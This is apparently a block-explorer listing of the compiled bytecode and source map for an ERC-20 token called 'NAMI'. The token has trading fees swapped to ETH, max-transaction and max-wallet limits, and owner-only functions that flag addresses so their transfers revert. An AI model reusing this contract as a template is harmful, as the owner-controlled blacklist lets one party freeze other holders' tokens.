960ff851684600082611cd3575060016104e8565b81611ce0575060006104e8565b8160018114611cf65760028114611d0057611d2d565b60019150506104e8565b60ff841115611d1157611d11611dd9565b6001841b915084821115611d2757611d27611dd9565b506104e8565b5060208310610133831016604e8410600b8410161715611d60575081810a83811115611d5b57611d5b611dd9565b6104e8565b611d6d8484846001611c71565b808604821115611d7f57611d7f611dd9565b02949350505050565b6000816000190483118215151615611da257611da2611dd9565b500290565b600082821015611db957611db9611dd9565b500390565b6000600019821415611dd257611dd2611dd9565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114611e1a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bb7e1f19d5c8d41145e0bd0a001cd5e3820e20e6120e8825b63f177c265edcc564736f6c63430008000033

Deployed Bytecode

0x6080604052600436106101395760003560e01c806370a08231116100ab57806395d89b411161006f57806395d89b4114610318578063a30130c61461032d578063a9059cbb14610342578063bf474bed14610362578063d34628cc14610377578063dd62ed3e1461039757610140565b806370a0823114610297578063715018a6146102b75780637d1db4a5146102cc5780638da5cb5b146102e15780638f9a55c01461030357610140565b806323b872dd116100fd57806323b872dd146101eb5780632de3259d1461020b578063313ce5671461022057806331c2d8471461024257806335a279e7146102625780633bbac5791461027757610140565b80630614117a1461014557806306fdde031461015c578063095ea7b3146101875780630faee56f146101b457806318160ddd146101d657610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6103b7565b005b34801561016857600080fd5b50610171610400565b60405161017e91906118b6565b60405180910390f35b34801561019357600080fd5b506101a76101a23660046116f0565b610422565b60405161017e91906118ab565b3480156101c057600080fd5b506101c9610440565b60405161017e9190611bb2565b3480156101e257600080fd5b506101c9610446565b3480156101f757600080fd5b506101a76102063660046116b0565b610467565b34801561021757600080fd5b5061015a6104ef565b34801561022c57600080fd5b5061023561069a565b60405161017e9190611c2b565b34801561024e57600080fd5b5061015a61025d36600461171b565b61069f565b34801561026e57600080fd5b5061015a61074e565b34801561028357600080fd5b506101a7610292366004611640565b61080f565b3480156102a357600080fd5b506101c96102b2366004611640565b610831565b3480156102c357600080fd5b5061015a61084c565b3480156102d857600080fd5b506101c96108cb565b3480156102ed57600080fd5b506102f66108d1565b60405161017e9190611829565b34801561030f57600080fd5b506101c96108e0565b34801561032457600080fd5b506101716108e6565b34801561033957600080fd5b5061015a610904565b34801561034e57600080fd5b506101a761035d3660046116f0565b610b60565b34801561036e57600080fd5b506101c9610b74565b34801561038357600080fd5b5061015a61039236600461171b565b610b7a565b3480156103a357600080fd5b506101c96103b2366004611678565b610c25565b6103bf610c50565b6000546001600160a01b039081169116146103f55760405162461bcd60e51b81526004016103ec90611a3d565b60405180910390fd5b6103fe47610c54565b565b604080518082019091526008815267139053524810d85d60c21b602082015290565b600061043661042f610c50565b8484610c8e565b5060015b92915050565b60115481565b60006104546009600a611cb7565b61046290633b9aca00611d88565b905090565b6000610474848484610d42565b6104e484610480610c50565b6104df85604051806060016040528060288152602001611e1e602891396001600160a01b038a166000908152600260205260408120906104be610c50565b6001600160a01b031681526020810191909152604001600020549190610e4f565b610c8e565b5060015b9392505050565b6104f7610c50565b6000546001600160a01b039081169116146105245760405162461bcd60e51b81526004016103ec90611a3d565b601354600160a01b900460ff161561054e5760405162461bcd60e51b81526004016103ec90611b7b565b6012546001600160a01b031663f305d719473061056a81610831565b6000806105756108d1565b426040518863ffffffff1660e01b815260040161059796959493929190611870565b6060604051808303818588803b1580156105b057600080fd5b505af11580156105c4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105e991906117fc565b505060135460125460405163095ea7b360e01b81526001600160a01b03928316935063095ea7b39261062392169060001990600401611857565b602060405180830381600087803b15801561063d57600080fd5b505af1158015610651573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067591906117dc565b506013805460ff60a01b1960ff60b01b19909116600160b01b1716600160a01b179055565b600990565b6106a7610c50565b6000546001600160a01b039081169116146106d45760405162461bcd60e51b81526004016103ec90611a3d565b60005b815181101561074a5760006004600084848151811061070657634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061074281611dbe565b9150506106d7565b5050565b610756610c50565b6000546001600160a01b039081169116146107835760405162461bcd60e51b81526004016103ec90611a3d565b61078f6009600a611cb7565b61079d90633b9aca00611d88565b600e556107ac6009600a611cb7565b6107ba90633b9aca00611d88565b600f557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6107ea6009600a611cb7565b6107f890633b9aca00611d88565b6040516108059190611bb2565b60405180910390a1565b6001600160a01b03811660009081526004602052604090205460ff165b919050565b6001600160a01b031660009081526001602052604090205490565b610854610c50565b6000546001600160a01b039081169116146108815760405162461bcd60e51b81526004016103ec90611a3d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600e5481565b6000546001600160a01b031690565b600f5481565b6040805180820190915260048152634e414d4960e01b602082015290565b61090c610c50565b6000546001600160a01b039081169116146109395760405162461bcd60e51b81526004016103ec90611a3d565b601354600160a01b900460ff16156109635760405162461bcd60e51b81526004016103ec90611b7b565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17908190556109b49030906001600160a01b03166109a66009600a611cb7565b6104df90633b9aca00611d88565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0257600080fd5b505afa158015610a16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3a919061165c565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a9757600080fd5b505afa158015610aab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610acf919061165c565b6040518363ffffffff1660e01b8152600401610aec92919061183d565b602060405180830381600087803b158015610b0657600080fd5b505af1158015610b1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3e919061165c565b601380546001600160a01b0319166001600160a01b0392909216919091179055565b6000610436610b6d610c50565b8484610d42565b60105481565b610b82610c50565b6000546001600160a01b03908116911614610baf5760405162461bcd60e51b81526004016103ec90611a3d565b60005b815181101561074a57600160046000848481518110610be157634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610c1d81611dbe565b915050610bb2565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561074a573d6000803e3d6000fd5b6001600160a01b038316610cb45760405162461bcd60e51b81526004016103ec90611b37565b6001600160a01b038216610cda5760405162461bcd60e51b81526004016103ec90611983565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610d35908590611bb2565b60405180910390a3505050565b6001600160a01b038316610d685760405162461bcd60e51b81526004016103ec90611abb565b6001600160a01b038216610d8e5760405162461bcd60e51b81526004016103ec90611909565b60008111610dae5760405162461bcd60e51b81526004016103ec90611a72565b601354600160b01b900460ff161580610dd05750601354600160a81b900460ff165b15610de557610de0838383610e89565b610e4a565b6000610def6108d1565b6001600160a01b0316846001600160a01b031614158015610e295750610e136108d1565b6001600160a01b0316836001600160a01b031614155b15610e3c57610e39848484610f2d565b90505b610e4884848484611169565b505b505050565b60008184841115610e735760405162461bcd60e51b81526004016103ec91906118b6565b506000610e808486611da7565b95945050505050565b6001600160a01b038316600090815260016020526040902054610eac908261119b565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610edb90826111dd565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d35908590611bb2565b6001600160a01b03831660009081526004602052604081205460ff16158015610f6f57506001600160a01b03831660009081526004602052604090205460ff16155b610f7857600080fd5b6000610fa66064610fa0600a54600d5411610f9557600654610f99565b6008545b869061120c565b90611251565b6013549091506001600160a01b038681169116148015610fd457506012546001600160a01b03858116911614155b8015610ff957506001600160a01b03841660009081526003602052604090205460ff16155b1561106b57600e548311156110205760405162461bcd60e51b81526004016103ec9061194c565b600f548361102d86610831565b6110379190611c39565b11156110555760405162461bcd60e51b81526004016103ec90611b00565b600d805490600061106583611dbe565b91905055505b6013546001600160a01b03858116911614801561109157506001600160a01b0385163014155b156110be576110bb6064610fa0600b54600d54116110b157600754610f99565b600954869061120c565b90505b601354600160a81b900460ff161580156110e557506013546001600160a01b038581169116145b80156110fa5750601354600160b01b900460ff165b80156111095750600c54600d54115b801561112e57506001600160a01b03851660009081526003602052604090205460ff16155b801561115357506001600160a01b03841660009081526003602052604090205460ff16155b156111615761116183611293565b949350505050565b600061117585836112d0565b611194858561118588858861134b565b61118f878761119b565b61139b565b5050505050565b60006104e883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e4f565b6000806111ea8385611c39565b9050838110156104e85760405162461bcd60e51b81526004016103ec906119c5565b60008261121b5750600061043a565b60006112278385611d88565b9050826112348583611c51565b146104e85760405162461bcd60e51b81526004016103ec906119fc565b60006104e883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061144d565b600061129e30610831565b90506010548111156112c7576112c76112c2836112bd8460115461147b565b61147b565b611490565b61074a47610c54565b801561074a57306000908152600160205260409020546112f090826111dd565b30600081815260016020526040908190209290925590516001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061133f908590611bb2565b60405180910390a35050565b6001600160a01b03831660009081526003602052604081205460ff1661138757611376836001611d88565b6113809083611c39565b90506104e8565b6113918284611d88565b6111619084611c39565b6001600160a01b0384166000908152600160205260409020546113be908361119b565b6001600160a01b0380861660009081526001602052604080822093909355908516815220546113ed90826111dd565b6001600160a01b0380851660008181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061143f908590611bb2565b60405180910390a350505050565b6000818361146e5760405162461bcd60e51b81526004016103ec91906118b6565b506000610e808486611c51565b600081831161148a57826104e8565b50919050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106114e657634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561153a57600080fd5b505afa15801561154e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611572919061165c565b8160018151811061159357634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526012546115b99130911684610c8e565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906115f2908590600090869030904290600401611bbb565b600060405180830381600087803b15801561160c57600080fd5b505af1158015611620573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b803561082c81611e05565b600060208284031215611651578081fd5b81356104e881611e05565b60006020828403121561166d578081fd5b81516104e881611e05565b6000806040838503121561168a578081fd5b823561169581611e05565b915060208301356116a581611e05565b809150509250929050565b6000806000606084860312156116c4578081fd5b83356116cf81611e05565b925060208401356116df81611e05565b929592945050506040919091013590565b60008060408385031215611702578182fd5b823561170d81611e05565b946020939093013593505050565b6000602080838503121561172d578182fd5b823567ffffffffffffffff80821115611744578384fd5b818501915085601f830112611757578384fd5b81358181111561176957611769611def565b8381026040518582820101818110858211171561178857611788611def565b604052828152858101935084860182860187018a10156117a6578788fd5b8795505b838610156117cf576117bb81611635565b8552600195909501949386019386016117aa565b5098975050505050505050565b6000602082840312156117ed578081fd5b815180151581146104e8578182fd5b600080600060608486031215611810578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156118e2578581018301518582016040015282016118c6565b818111156118f35783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526019908201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604082015260600190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252601a908201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611c0a5784516001600160a01b031683529383019391830191600101611be5565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b60008219821115611c4c57611c4c611dd9565b500190565b600082611c6c57634e487b7160e01b81526012600452602481fd5b500490565b80825b6001808611611c835750611cae565b818704821115611c9557611c95611dd9565b80861615611ca257918102915b9490941c938002611c74565b94509492505050565b60006104e860001960ff851684600082611cd3575060016104e8565b81611ce0575060006104e8565b8160018114611cf65760028114611d0057611d2d565b60019150506104e8565b60ff841115611d1157611d11611dd9565b6001841b915084821115611d2757611d27611dd9565b506104e8565b5060208310610133831016604e8410600b8410161715611d60575081810a83811115611d5b57611d5b611dd9565b6104e8565b611d6d8484846001611c71565b808604821115611d7f57611d7f611dd9565b02949350505050565b6000816000190483118215151615611da257611da2611dd9565b500290565b600082821015611db957611db9611dd9565b500390565b6000600019821415611dd257611dd2611dd9565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114611e1a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bb7e1f19d5c8d41145e0bd0a001cd5e3820e20e6120e8825b63f177c265edcc564736f6c63430008000033

Deployed Bytecode Sourcemap

3826:10029:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13227:95;;;;;;;;;;;;;:::i;:::-;;6177:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7060:186;;;;;;;;;;-1:-1:-1;7060:186:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;4937:57::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6454:95::-;;;;;;;;;;;;;:::i;7254:446::-;;;;;;;;;;-1:-1:-1;7254:446:0;;;;;:::i;:::-;;:::i;13368:484::-;;;;;;;;;;;;;:::i;6363:83::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;8755:168::-;;;;;;;;;;-1:-1:-1;8755:168:0;;;;;:::i;:::-;;:::i;8308:166::-;;;;;;;;;;;;;:::i;8931:86::-;;;;;;;;;;-1:-1:-1;8931:86:0;;;;;:::i;:::-;;:::i;6557:119::-;;;;;;;;;;-1:-1:-1;6557:119:0;;;;;:::i;:::-;;:::i;2062:148::-;;;;;;;;;;;;;:::i;4742:58::-;;;;;;;;;;;;;:::i;1848:79::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;4807:60::-;;;;;;;;;;;;;:::i;6268:87::-;;;;;;;;;;;;;:::i;5713:456::-;;;;;;;;;;;;;:::i;6684:192::-;;;;;;;;;;-1:-1:-1;6684:192:0;;;;;:::i;:::-;;:::i;4874:56::-;;;;;;;;;;;;;:::i;8583:164::-;;;;;;;;;;-1:-1:-1;8583:164:0;;;;;:::i;:::-;;:::i;6884:168::-;;;;;;;;;;-1:-1:-1;6884:168:0;;;;;:::i;:::-;;:::i;13227:95::-;1985:12;:10;:12::i;:::-;1975:6;;-1:-1:-1;;;;;1975:6:0;;;:22;;;1967:67;;;;-1:-1:-1;;;1967:67:0;;;;;;;:::i;:::-;;;;;;;;;13279:35:::1;13292:21;13279:12;:35::i;:::-;13227:95::o:0;6177:83::-;6247:5;;;;;;;;;;;;-1:-1:-1;;;6247:5:0;;;;6177:83;:::o;7060:186::-;7160:4;7177:39;7186:12;:10;:12::i;:::-;7200:7;7209:6;7177:8;:39::i;:::-;-1:-1:-1;7234:4:0;7060:186;;;;;:::o;4937:57::-;;;;:::o;6454:95::-;6507:7;4720:15;4551:1;4720:2;:15;:::i;:::-;4704:31;;:13;:31;:::i;:::-;6527:14;;6454:95;:::o;7254:446::-;7386:4;7403:36;7413:6;7421:9;7432:6;7403:9;:36::i;:::-;7450:220;7473:6;7494:12;:10;:12::i;:::-;7521:138;7577:6;7521:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7521:19:0;;;;;;:11;:19;;;;;;7541:12;:10;:12::i;:::-;-1:-1:-1;;;;;7521:33:0;;;;;;;;;;;;-1:-1:-1;7521:33:0;;;:138;:37;:138::i;:::-;7450:8;:220::i;:::-;-1:-1:-1;7688:4:0;7254:446;;;;;;:::o;13368:484::-;1985:12;:10;:12::i;:::-;1975:6;;-1:-1:-1;;;;;1975:6:0;;;:22;;;1967:67;;;;-1:-1:-1;;;1967:67:0;;;;;;;:::i;:::-;13427:11:::1;::::0;-1:-1:-1;;;13427:11:0;::::1;;;13426:12;13418:48;;;;-1:-1:-1::0;;;13418:48:0::1;;;;;;;:::i;:::-;13479:15;::::0;-1:-1:-1;;;;;13479:15:0::1;:31;13518:21;13563:4;13583:24;13563:4:::0;13583:9:::1;:24::i;:::-;13622:1;13638::::0;13654:7:::1;:5;:7::i;:::-;13676:15;13479:223;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13722:13:0::1;::::0;13753:15:::1;::::0;13715:71:::1;::::0;-1:-1:-1;;;13715:71:0;;-1:-1:-1;;;;;13722:13:0;;::::1;::::0;-1:-1:-1;13715:29:0::1;::::0;:71:::1;::::0;13753:15:::1;::::0;-1:-1:-1;;13771:14:0;13715:71:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13797:11:0::1;:18:::0;;-1:-1:-1;;;;;;;;13797:18:0;;::::1;-1:-1:-1::0;;;13797:18:0::1;13826;-1:-1:-1::0;;;13826:18:0::1;::::0;;13368:484::o;6363:83::-;4551:1;6363:83;:::o;8755:168::-;1985:12;:10;:12::i;:::-;1975:6;;-1:-1:-1;;;;;1975:6:0;;;:22;;;1967:67;;;;-1:-1:-1;;;1967:67:0;;;;;;;:::i;:::-;8830:6:::1;8825:91;8846:6;:13;8842:1;:17;8825:91;;;8899:5;8881:4;:15;8886:6;8893:1;8886:9;;;;;;-1:-1:-1::0;;;8886:9:0::1;;;;;;;;;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;8881:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;8881:15:0;:23;;-1:-1:-1;;8881:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8861:3;::::1;::::0;::::1;:::i;:::-;;;;8825:91;;;;8755:168:::0;:::o;8308:166::-;1985:12;:10;:12::i;:::-;1975:6;;-1:-1:-1;;;;;1975:6:0;;;:22;;;1967:67;;;;-1:-1:-1;;;1967:67:0;;;;;;;:::i;:::-;4720:15:::1;4551:1;4720:2;:15;:::i;:::-;4704:31;::::0;:13:::1;:31;:::i;:::-;8366:12;:22:::0;4720:15:::1;4551:1;4720:2;:15;:::i;:::-;4704:31;::::0;:13:::1;:31;:::i;:::-;8399:14;:24:::0;8439:27:::1;4720:15;4551:1;4720:2;:15;:::i;:::-;4704:31;::::0;:13:::1;:31;:::i;:::-;8439:27;;;;;;:::i;:::-;;;;;;;;8308:166::o:0;8931:86::-;-1:-1:-1;;;;;9002:7:0;;8978:4;9002:7;;;:4;:7;;;;;;;;8931:86;;;;:::o;6557:119::-;-1:-1:-1;;;;;6650:18:0;6623:7;6650:18;;;:9;:18;;;;;;;6557:119::o;2062:148::-;1985:12;:10;:12::i;:::-;1975:6;;-1:-1:-1;;;;;1975:6:0;;;:22;;;1967:67;;;;-1:-1:-1;;;1967:67:0;;;;;;;:::i;:::-;2169:1:::1;2153:6:::0;;2132:40:::1;::::0;-1:-1:-1;;;;;2153:6:0;;::::1;::::0;2132:40:::1;::::0;2169:1;;2132:40:::1;2200:1;2183:19:::0;;-1:-1:-1;;;;;;2183:19:0::1;::::0;;2062:148::o;4742:58::-;;;;:::o;1848:79::-;1886:7;1913:6;-1:-1:-1;;;;;1913:6:0;1848:79;:::o;4807:60::-;;;;:::o;6268:87::-;6340:7;;;;;;;;;;;;-1:-1:-1;;;6340:7:0;;;;6268:87;:::o;5713:456::-;1985:12;:10;:12::i;:::-;1975:6;;-1:-1:-1;;;;;1975:6:0;;;:22;;;1967:67;;;;-1:-1:-1;;;1967:67:0;;;;;;;:::i;:::-;5774:11:::1;::::0;-1:-1:-1;;;5774:11:0;::::1;;;5773:12;5765:48;;;;-1:-1:-1::0;;;5765:48:0::1;;;;;;;:::i;:::-;5826:15;:104:::0;;-1:-1:-1;;;;;;5826:104:0::1;5877:42;5826:104;::::0;;;;5943:58:::1;::::0;5960:4:::1;::::0;-1:-1:-1;;;;;5975:15:0::1;4720;4551:1;4720:2;:15;:::i;:::-;4704:31;::::0;:13:::1;:31;:::i;5943:58::-;6048:15;;;;;;;;;-1:-1:-1::0;;;;;6048:15:0::1;-1:-1:-1::0;;;;;6048:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6030:55:0::1;;6108:4;6128:15;;;;;;;;;-1:-1:-1::0;;;;;6128:15:0::1;-1:-1:-1::0;;;;;6128:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6030:131;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6014:13;:147:::0;;-1:-1:-1;;;;;;6014:147:0::1;-1:-1:-1::0;;;;;6014:147:0;;;::::1;::::0;;;::::1;::::0;;5713:456::o;6684:192::-;6787:4;6804:42;6814:12;:10;:12::i;:::-;6828:9;6839:6;6804:9;:42::i;4874:56::-;;;;:::o;8583:164::-;1985:12;:10;:12::i;:::-;1975:6;;-1:-1:-1;;;;;1975:6:0;;;:22;;;1967:67;;;;-1:-1:-1;;;1967:67:0;;;;;;;:::i;:::-;8657:6:::1;8652:88;8673:5;:12;8669:1;:16;8652:88;;;8724:4;8707;:14;8712:5;8718:1;8712:8;;;;;;-1:-1:-1::0;;;8712:8:0::1;;;;;;;;;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;8707:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;8707:14:0;:21;;-1:-1:-1;;8707:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;8687:3;::::1;::::0;::::1;:::i;:::-;;;;8652:88;;6884:168:::0;-1:-1:-1;;;;;7017:18:0;;;6990:7;7017:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6884:168::o;190:98::-;270:10;190:98;:::o;8482:93::-;8539:11;;:28;;-1:-1:-1;;;;;8539:11:0;;;;:28;;;;;8560:6;;8539:11;:28;:11;:28;8560:6;8539:11;:28;;;;;;;;;;;;;;;;;;;7708:335;-1:-1:-1;;;;;7801:19:0;;7793:68;;;;-1:-1:-1;;;7793:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7880:21:0;;7872:68;;;;-1:-1:-1;;;7872:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7951:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;8003:32;;;;;7981:6;;8003:32;:::i;:::-;;;;;;;;7708:335;;;:::o;9025:654::-;-1:-1:-1;;;;;9117:18:0;;9109:68;;;;-1:-1:-1;;;9109:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9196:16:0;;9188:64;;;;-1:-1:-1;;;9188:64:0;;;;;;;:::i;:::-;9284:1;9271:10;:14;9263:68;;;;-1:-1:-1;;;9263:68:0;;;;;;;:::i;:::-;9347:11;;-1:-1:-1;;;9347:11:0;;;;9346:12;;:22;;-1:-1:-1;9362:6:0;;-1:-1:-1;;;9362:6:0;;;;9346:22;9342:112;;;9385:36;9400:4;9406:2;9410:10;9385:14;:36::i;:::-;9436:7;;9342:112;9466:17;9510:7;:5;:7::i;:::-;-1:-1:-1;;;;;9502:15:0;:4;-1:-1:-1;;;;;9502:15:0;;;:32;;;;;9527:7;:5;:7::i;:::-;-1:-1:-1;;;;;9521:13:0;:2;-1:-1:-1;;;;;9521:13:0;;;9502:32;9498:114;;;9563:37;9579:4;9585:2;9589:10;9563:15;:37::i;:::-;9551:49;;9498:114;9624:47;9639:4;9645:2;9649:10;9661:9;9624:14;:47::i;:::-;9025:654;;;;;:::o;650:224::-;770:7;806:12;798:6;;;;790:29;;;;-1:-1:-1;;;790:29:0;;;;;;;;:::i;:::-;-1:-1:-1;830:9:0;842:5;846:1;842;:5;:::i;:::-;830:17;650:224;-1:-1:-1;;;;;650:224:0:o;8051:249::-;-1:-1:-1;;;;;8159:15:0;;;;;;:9;:15;;;;;;:31;;8179:10;8159:19;:31::i;:::-;-1:-1:-1;;;;;8141:15:0;;;;;;;:9;:15;;;;;;:49;;;;8217:13;;;;;;;:29;;8235:10;8217:17;:29::i;:::-;-1:-1:-1;;;;;8201:13:0;;;;;;;:9;:13;;;;;;;:45;;;;8262:30;;;;;;;;;;8281:10;;8262:30;:::i;10009:1419::-;-1:-1:-1;;;;;10126:10:0;;10096:7;10126:10;;;:4;:10;;;;;;;;10125:11;:24;;;;-1:-1:-1;;;;;;10141:8:0;;;;;;:4;:8;;;;;;;;10140:9;10125:24;10117:33;;;;;;10161:17;10181:188;10365:3;10181:165;10241:15;;10229:9;;:27;10228:103;;10317:14;;10228:103;;;10281:12;;10228:103;10181:10;;:28;:165::i;:::-;:183;;:188::i;:::-;10408:13;;10161:208;;-1:-1:-1;;;;;;10400:21:0;;;10408:13;;10400:21;:68;;;;-1:-1:-1;10452:15:0;;-1:-1:-1;;;;;10438:30:0;;;10452:15;;10438:30;;10400:68;:109;;;;-1:-1:-1;;;;;;10486:23:0;;;;;;:19;:23;;;;;;;;10485:24;10400:109;10382:403;;;10558:12;;10544:10;:26;;10536:64;;;;-1:-1:-1;;;10536:64:0;;;;;;;:::i;:::-;10671:14;;10657:10;10641:13;10651:2;10641:9;:13::i;:::-;:26;;;;:::i;:::-;:44;;10615:132;;;;-1:-1:-1;;;10615:132:0;;;;;;;:::i;:::-;10762:9;:11;;;:9;:11;;;:::i;:::-;;;;;;10382:403;10807:13;;-1:-1:-1;;;;;10801:19:0;;;10807:13;;10801:19;:44;;;;-1:-1:-1;;;;;;10824:21:0;;10840:4;10824:21;;10801:44;10797:304;;;10874:215;11085:3;10874:188;10942:16;;10930:9;;:28;10929:114;;11028:15;;10929:114;;;10987:13;;10874:10;;:32;:188::i;:215::-;10862:227;;10797:304;11132:6;;-1:-1:-1;;;11132:6:0;;;;11131:7;:43;;;;-1:-1:-1;11161:13:0;;-1:-1:-1;;;;;11155:19:0;;;11161:13;;11155:19;11131:43;:71;;;;-1:-1:-1;11191:11:0;;-1:-1:-1;;;11191:11:0;;;;11131:71;:118;;;;;11231:18;;11219:9;;:30;11131:118;:161;;;;-1:-1:-1;;;;;;11267:25:0;;;;;;:19;:25;;;;;;;;11266:26;11131:161;:202;;;;-1:-1:-1;;;;;;11310:23:0;;;;;;:19;:23;;;;;;;;11309:24;11131:202;11113:279;;;11360:20;11369:10;11360:8;:20::i;:::-;11411:9;10009:1419;-1:-1:-1;;;;10009:1419:0:o;9687:314::-;9839:11;9856:34;9874:4;9880:9;9856:17;:34::i;:::-;9901:92;9921:4;9927:2;9931:34;9943:4;9949:3;9954:10;9931:11;:34::i;:::-;9967:25;:10;9982:9;9967:14;:25::i;:::-;9901:19;:92::i;:::-;9687:314;;;;;:::o;506:136::-;564:7;591:43;595:1;598;591:43;;;;;;;;;;;;;;;;;:3;:43::i;319:179::-;377:7;;409:5;413:1;409;:5;:::i;:::-;397:17;;438:1;433;:6;;425:46;;;;-1:-1:-1;;;425:46:0;;;;;;;:::i;882:246::-;940:7